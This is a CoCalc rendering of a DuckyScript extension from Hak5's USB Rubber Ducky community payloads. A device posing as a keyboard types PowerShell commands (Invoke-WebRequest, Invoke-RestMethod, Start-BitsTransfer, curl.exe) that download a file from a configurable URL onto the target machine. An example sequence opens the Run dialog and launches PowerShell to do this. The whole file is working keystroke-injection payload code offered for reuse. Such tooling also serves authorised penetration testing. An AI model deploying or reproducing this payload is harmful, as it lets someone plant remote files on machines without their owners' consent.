Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/extensions/community/POWERSHELL_DOWNLOAD
2968 views
EXTENSION POWERSHELL_DOWNLOAD
    REM VERSION 1.0
    REM Author: 0i41E
    REM Downloads the desired file via powershell
    REM Use the method you want to use, via the specific function, define the URL and the output.

    REM CONFIGURATION:
    REM Delay before executing the download
    DEFINE #INPUT_WAIT 2000
    REM URL of the file which gets downloaded
    DEFINE #URL https://example.com/
    REM Output name of your downloaded file
    DEFINE #OUTPUT default
 
    REM Use Invoke-WebRequest to download a file onto the system
    FUNCTION Invoke_WebRequest()
        DELAY #INPUT_WAIT  
        STRINGLN Invoke-WebRequest -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT
    END_FUNCTION

    REM Use Invoke-RestMethod to download a file onto the system
    FUNCTION Invoke_RestMethod()
        DELAY #INPUT_WAIT  
        STRINGLN Invoke-RestMethod -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT
    END_FUNCTION

    REM Use Start_BitsTransfer to download a file onto the system
    FUNCTION Start_BitsTransfer()
        DELAY #INPUT_WAIT  
        STRINGLN Start-BitsTransfer -Source '#URL' -Destination #OUTPUT
    END_FUNCTION

    REM Use Curl.exe to download a file onto the system
    FUNCTION Curl_exe()
        DELAY #INPUT_WAIT  
        STRINGLN curl.exe -L '#URL' -o #OUTPUT
    END_FUNCTION

    REM EXAMPLE USAGE AFTER EXTENSION
    REM Use the function fitting your usecase, Start_BitsTransfer() is used as example here
    REM DELAY 2000
    REM GUI r
    REM DELAY 2000
    REM STRINGLN powershell
    REM DELAY 500
    REM Start_BitsTransfer()

END_EXTENSION